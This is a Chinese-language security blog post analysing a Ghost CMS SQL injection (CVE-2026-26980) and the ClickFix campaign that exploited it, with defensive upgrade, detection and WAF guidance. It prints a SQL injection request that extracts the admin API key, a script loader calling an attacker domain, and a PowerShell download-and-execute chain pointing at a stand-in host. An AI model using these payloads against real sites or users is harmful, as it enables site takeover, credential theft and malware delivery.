Ghost CMS CVE-2026-26980 深度解析:一个SQL注入漏洞如何劫持700+网站
2026年5月26日 | 撰写:点滴安全技术团队 原始来源:QiAnXin XLab、The Hacker News、Anthropic
开篇:当AI发现漏洞,攻击者闻风而动
2026年2月,Anthropic公司宣布其AI模型Claude在安全审计中发现了Ghost CMS的一个严重SQL注入漏洞(CVE-2026-26980,CVSS 9.4分)。Ghost团队在6.19.1版本中紧急修复了这个漏洞。三个月后的5月,奇安信XLab团队发现至少两个威胁组织已经利用该漏洞攻陷了超过700个网站——涵盖大学、区块链、AI、SaaS、安全研究、媒体和金融科技等领域。
被攻陷的合法网站随后被用来分发 ClickFix 攻击——一种通过伪造CAPTCHA验证诱骗用户执行恶意PowerShell命令的社会工程攻击手法。本文将深入分析这个漏洞的技术原理、利用链和防御措施。
一、漏洞技术分析:CVE-2026-26980
1.1 Ghost CMS架构概述
Ghost是一个流行的开源内容管理系统(CMS),基于Node.js构建,采用以下架构:
┌──────────────┐ ┌──────────────┐ ┌──────────────┐
│ Ghost Theme │ │ Ghost API │ │ SQLite/ │
│ (前端展示) │────▶│ (后端接口) │────▶│ MySQL │
│ Handlebars │ │ REST API │ │ 数据库 │
└──────────────┘ └──────────────┘ └──────────────┘
│
┌──────┴──────┐
│ Content API │ ← 公开接口(只读)
│ Admin API │ ← 需要认证(读写)
└─────────────┘
Ghost有两套API:Content API(公开只读)和Admin API(需要认证,可读写)。CVE-2026-26980存在于 Content API 中——这意味着攻击者无需任何认证即可利用。
1.2 SQL注入漏洞原理
漏洞出现在Ghost Content API处理查询参数的过程中。当API接收用户输入并拼接到SQL查询时,未进行充分的参数化处理:
// 漏洞代码简化示意(Ghost < 6.19.1)
// Content API 的某个查询处理函数
function getPosts(options) {
const { filter, fields, include } = options;
// 漏洞点:filter 参数直接拼接到 SQL 查询
// 攻击者可以注入恶意 SQL
const query = `SELECT * FROM posts WHERE ${buildFilter(filter)}`;
return db.query(query);
}
攻击者通过精心构造的API请求,可以执行任意SQL语句,从而读取数据库中的任意数据——包括最关键的 Admin API Key。
1.3 CVSS 9.4 的严重性解读
| 评估维度 | 得分 | 说明 |
|---|---|---|
| 攻击向量 | 网络 | 无需物理/本地访问 |
| 攻击复杂度 | 低 | 无需特殊条件 |
| 权限要求 | 无 | 无需任何认证 |
| 用户交互 | 无 | 不需要用户参与 |
| 影响范围 | 完整 | 可读取整个数据库 |
| 机密性影响 | 高 | 可获取所有数据 |
CVSS 9.4分意味着这是一个”极其严重”的漏洞。攻击者只需要能访问Ghost网站的Content API,就能通过SQL注入获取数据库中的任意信息。
二、攻击链完整拆解
2.1 第一阶段:SQL注入提取Admin API Key
攻击者首先利用CVE-2026-26980从数据库中提取Ghost的Admin API Key:
# 攻击请求简化示意
# 通过Content API发送恶意SQL查询
GET /ghost/api/content/posts/?filter=1'+UNION+SELECT+1,admin_api_key,3,4,5+FROM+settings--
Accept: application/json
成功提取的Admin API Key(格式为 key_id:secret 的JWT签名密钥)允许攻击者构造合法的Admin API请求。
2.2 第二阶段:批量注入恶意JavaScript
获得Admin API Key后,攻击者通过Admin API批量修改文章内容,在每篇文章底部注入恶意JavaScript加载器:
// 注入到文章底部的恶意JS(简化版)
(function(){
var s = document.createElement('script');
s.src = 'https://clo4shara.xyz/11z77u3.php';
document.body.appendChild(s);
})();
这个JS加载器是一个两阶段载荷: 1. 第一阶段:从 clo4shara[.]xyz 加载远程脚本 2. 第二阶段:远程脚本根据访问者指纹决定分发什么载荷
2.3 第三阶段:流量分发与ClickFix攻击
远程PHP脚本使用商业隐身服务 Adspect 进行流量过滤:
访问被攻陷的网站
│
▼
JS加载器触发
│
▼
clo4shara.xyz(Adspect隐身)
│
┌────┴────┐
│ │
安全扫描器 真实用户
│ │
▼ ▼
正常页面 假CAPTCHA
│
▼
ClickFix攻击
│
▼
复制Base64命令到"运行"
│
▼
下载恶意DLL/EXE
Adspect隐身服务的功能: – 收集浏览器指纹信息(User-Agent、屏幕分辨率、时区等) – 判断访问者是真实用户还是安全扫描器/爬虫 – 只对真实用户分发恶意载荷 – 支持19种远程JavaScript命令,实现浏览器远程控制
2.4 第四阶段:恶意载荷投递
ClickFix攻击引导用户复制并执行一段Base64编码的命令:
# Base64解码后的实际执行内容(简化示意)
# 1. 下载ZIP压缩包
Invoke-WebRequest -Uri "https://evil.example.com/payload.zip" -OutFile "$env:TEMP\update.zip"
# 2. 解压并执行批处理脚本
Expand-Archive -Path "$env:TEMP\update.zip" -DestinationPath "$env:TEMP\update"
Start-Process "$env:TEMP\update\setup.bat"
# 3. setup.bat 进一步下载恶意DLL并执行
rundll32.exe malicious.dll,EntryPoint
攻击者在后续迭代中将DLL载荷替换为JavaScript载荷,最终投递的是一个经过修改的Electron应用程序(使用Inno Setup打包)和带有合法代码签名证书的PuTTY客户端。
三、ClickFix攻击详解
3.1 什么是ClickFix?
ClickFix是一种社会工程攻击手法,通过伪造系统提示(如”验证你不是机器人”的CAPTCHA),诱骗用户手动复制并执行恶意命令。它利用了用户对”系统提示”的信任。
3.2 攻击流程
- 用户访问被攻陷的合法网站
- 页面弹出伪造的CAPTCHA验证框
- 提示用户”复制这段代码到’运行’对话框以完成验证”
- 用户按
Win+R,粘贴Base64编码的命令 - 命令在后台下载并执行恶意软件
- 同时打开一个正常的网页作为掩护
3.3 为什么ClickFix难以防范?
| 挑战 | 原因 |
|---|---|
| 用户主动执行 | 是用户自己复制粘贴的,不是恶意软件自动执行 |
| 合法网站分发 | 攻击来自受信任的合法域名,不会被URL过滤拦截 |
| 隐身服务过滤 | 安全产品和沙箱只能看到正常页面 |
| 多层跳转 | 从JS到PHP到ZIP到BAT到DLL/EXE,分析链路长 |
四、防御方案
4.1 Ghost CMS管理员:立即升级
# 检查Ghost版本
ghost version
# 如果低于 6.19.1,立即升级
ghost update
# 验证升级成功
ghost version # 应为 6.19.1 或更高
4.2 检查是否已被攻陷
# 1. 检查数据库中是否有异常修改的文章
# 查看Ghost数据库中文章的updated_at字段
# 关注2026年5月7日之后的批量修改
# 2. 搜索文章内容中的可疑JavaScript
# 检查是否存在 clo4shara.xyz 或类似域名引用
grep -r "clo4shara" /path/to/ghost/content/
grep -r "<script" /path/to/ghost/content/themes/
# 3. 轮换Admin API Key
# 在Ghost Admin → Settings → Integrations 中重新生成API Key
4.3 Web应用防火墙(WAF)规则
# 针对 Ghost Content API 的 SQL 注入防护规则
# 检测 Content API 请求中的异常字符
SecRule ARGS "@rx (union|select|insert|update|delete|drop|alter|create|exec|execute|xp_|sp_|0x|char\(|concat\(|group_concat|information_schema|sleep\(|benchmark\()" \
"id:1001,phase:2,deny,status:403,msg:'SQL Injection attempt detected in Ghost API'"
4.4 通用CMS安全加固
| 加固项 | 措施 |
|---|---|
| 及时更新 | 订阅Ghost安全公告,第一时间应用补丁 |
| API访问控制 | 限制Admin API的访问IP范围 |
| 内容监控 | 定期扫描文章内容中的异常JavaScript |
| 日志审计 | 监控Admin API的异常批量修改行为 |
| CSP策略 | 配置Content-Security-Policy限制外部脚本加载 |
| Subresource Integrity | 对引用的外部JS添加SRI校验 |
4.5 终端用户防护
- 警惕假CAPTCHA:真正的验证码不会让你复制命令到”运行”对话框
- 不要执行来历不明的PowerShell/CMD命令
- 保持杀毒软件和浏览器更新
- 使用浏览器扩展阻止自动脚本执行
五、启示与反思
5.1 AI发现漏洞的双刃剑
CVE-2026-26980是由Anthropic的Claude AI发现的。这揭示了安全领域的新趋势:
- 正面:AI能更高效地发现安全漏洞,帮助开发者提前修复
- 负面:漏洞披露后,攻击者会迅速研究并利用——从披露到大规模利用仅用了约3个月
- 关键问题:漏洞披露的节奏和用户升级的速度之间存在时间差
5.2 供应链攻击的”合法网站武器化”趋势
此次事件最值得警惕的是合法网站被武器化的攻击模式:
- 攻击者不直接钓鱼,而是先攻陷合法网站
- 利用合法网站的声誉分发恶意载荷
- 用户对知名网站的信任降低了警惕性
- 安全产品对合法域名的检测力度较弱
5.3 ClickFix的社会工程学进化
ClickFix攻击代表了社会工程学的新高度——它不依赖传统的”点击链接”或”下载附件”,而是通过伪造系统验证流程,让用户自愿执行恶意命令。这种手法绕过了几乎所有基于文件和URL的安全检测。
结语
CVE-2026-26980的利用事件给我们上了一堂生动的安全课:一个SQL注入漏洞,经过精心构造的攻击链,可以演变成一场影响700+网站、横跨多个行业的大规模攻击。从漏洞发现到大规模利用之间往往只有几个月的时间窗口。
对于CMS管理员来说,及时更新版本是最基本也最重要的防线。对于开发者来说,参数化查询和输入验证是永不过时的安全编码规范。对于普通用户来说,理解”真正的验证码不会让你复制命令到运行对话框”这个常识,可能是避免中招的关键。
安全建议总结: – ✅ Ghost CMS用户立即升级到6.19.1+ – ✅ 定期检查网站内容中是否被注入异常脚本 – ✅ 配置CSP策略限制外部脚本加载 – ✅ 教育用户识别ClickFix攻击的特征 – ❌ 不要忽视CMS版本更新通知 – ❌ 不要在”运行”对话框中粘贴来历不明的命令
本文由点滴安全技术团队撰写,基于QiAnXin XLab和The Hacker News的公开安全情报。技术细节仅供安全研究和防御参考。
转载请注明来源:www.dripsafe.cn